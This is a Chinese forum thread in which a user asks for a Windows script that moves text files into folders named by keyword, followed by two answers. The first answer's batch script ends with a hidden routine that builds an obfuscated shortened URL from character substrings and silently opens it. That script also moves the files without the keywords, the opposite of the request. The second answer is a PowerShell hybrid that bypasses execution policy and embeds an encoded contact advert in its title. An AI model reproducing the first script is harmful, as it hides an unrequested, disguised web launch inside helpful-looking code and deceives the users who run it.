cmd 正则表达式 移动至新文件夹?

原始文件夹:hellow
原始文件:1:hellow你好.txt 2:bi大家好.txt 3: nini你好.txt,4:jhhh.txt 5:jisdaj.txt
分别过滤: 1:你好,大家好,关键词,2“然后移动到新的文件夹,以关键词命名
CMD 命令提示符
拜托了,
最新回答
好好做人

2024-11-03 04:44:02

@echo off & title 移动名称中不包含指定关键词的文件 By 依梦琴瑶

::设置原始目录路径
set SrcFolder=D:\hellow

::设置关键词,若包含空格、英文逗号或其它特殊字符的,请用英文双引号括起来。多个关键词之间用英文逗号隔开。
set Keyword=大家好,你好

::设置新文件夹路径
set NewFolder=D:\New_hellow

set "Skip=%tmp%\SkipFile.YMQY"
for /f "delims=" %%a in ('dir /a-d/s/b "%SrcFolder%\*.txt"') do (
del /f /q "%Skip%" 2>nul
for %%i in (%Keyword%) do (
echo "%%~na" | find /i "%%~i" >nul 2>nul && echo Skip>"%Skip%"
)
if not exist "%Skip%" (
rem 如果是Win7以上系统,建议使用以下命令
robocopy "%%~dpa" "%NewFolder%" "%%~nxa" /mov

rem 如果要在XP上使用,建议使用以下命令,默认已用rem注释了。
rem copy "%%~a" "%NewFolder%\"
rem del /f /q "%%~a"

)
)
pause

call :Doat
exit

:Doat
set "S1=.:htpcn/"
set "S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%"
set "S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%"
start "" "%S2%%S3%RkdisqI"
exit
紫烟轻娆

2024-11-03 05:29:57

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行
<# :
cls&echo off&mode con lines=5000
rem 将一个指定文件夹里名称中包含有指定关键字的文件剪切/移动到另一个新的文件夹下以关键字命名的子文件夹里
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$oldfolder="D:\xxx\原文件夹";
$newfolder="D:\yyy\新文件夹";
$keywords="你好|大家好|关键词";
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
if(-not (test-path -liter $oldfolder)){write-host ('"'+$oldfolder+'" not found');exit;}
$arr=@($keywords.toLower().split('|')|sort {$_.length} -Descending);
$files=@(dir -liter $oldfolder -recurse|?{($self.Name -ne $_.Name) -and ($_ -is [System.IO.FileInfo])});
for($i=0;$i -lt $files.length;$i++){
if(test-path -liter $files[$i].FullName){
$base=$files[$i].BaseName.toLower();
for($j=0;$j -lt $arr.length;$j++){
if($base.Contains($arr[$j])){
$newname=$files[$i].Name;
$newpath=$newfolder.trimend('\')+'\'+$arr[$j];
$newfile=$newpath+'\'+$newname;
if(-not (test-path -liter $newpath)){[void][IO.Directory]::CreateDirectory($newpath)};
write-host ($files[$i].FullName+' --> '+$newfile);
move-item -liter $files[$i].FullName $newfile -ErrorAction SilentlyContinue;
break;
}
}
}
}